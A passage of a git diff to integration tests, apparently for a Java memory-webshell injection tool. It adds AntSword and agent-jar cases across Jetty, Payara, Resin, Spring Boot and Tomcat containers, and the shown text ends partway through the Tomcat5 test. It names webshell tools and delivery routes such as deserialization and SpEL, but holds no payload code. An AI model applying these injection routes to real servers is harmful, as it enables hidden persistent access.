a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 8b1a417a..6ad50a5e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -50,6 +50,8 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Jetty94ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index adb5b2b0..282c147b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.glassfishPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Payara5201ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -53,6 +55,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), @@ -65,6 +70,9 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), @@ -76,7 +84,18 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -89,6 +108,6 @@ public class Payara5201ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 42c0962f..630eab40 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.glassfishPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Payara520225ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -49,6 +51,8 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +61,8 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -64,7 +70,17 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,6 +93,6 @@ public class Payara520225ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 5cdb8d4a..c45260e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +35,8 @@ public class Payara620222ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .withExposedPorts(8080); @@ -64,7 +65,13 @@ public class Payara620222ContainerTest { arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,6 +84,6 @@ public class Payara620222ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 3aa973e7..359843fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -51,6 +51,8 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index f41fb9eb..981c034c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -51,6 +51,8 @@ public class Resin318ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -59,6 +61,8 @@ public class Resin318ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -67,6 +71,9 @@ public class Resin318ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 1f6e2c10..0a4f30bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -50,6 +50,8 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 0d96bbab..38a5570f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -50,6 +50,8 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,9 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 8cb82d20..2b370e8a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -55,6 +55,9 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL), arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.Base64), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), @@ -67,6 +70,10 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL), arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 78ff0adf..3146799e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -53,6 +53,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -65,6 +68,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -77,6 +83,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), 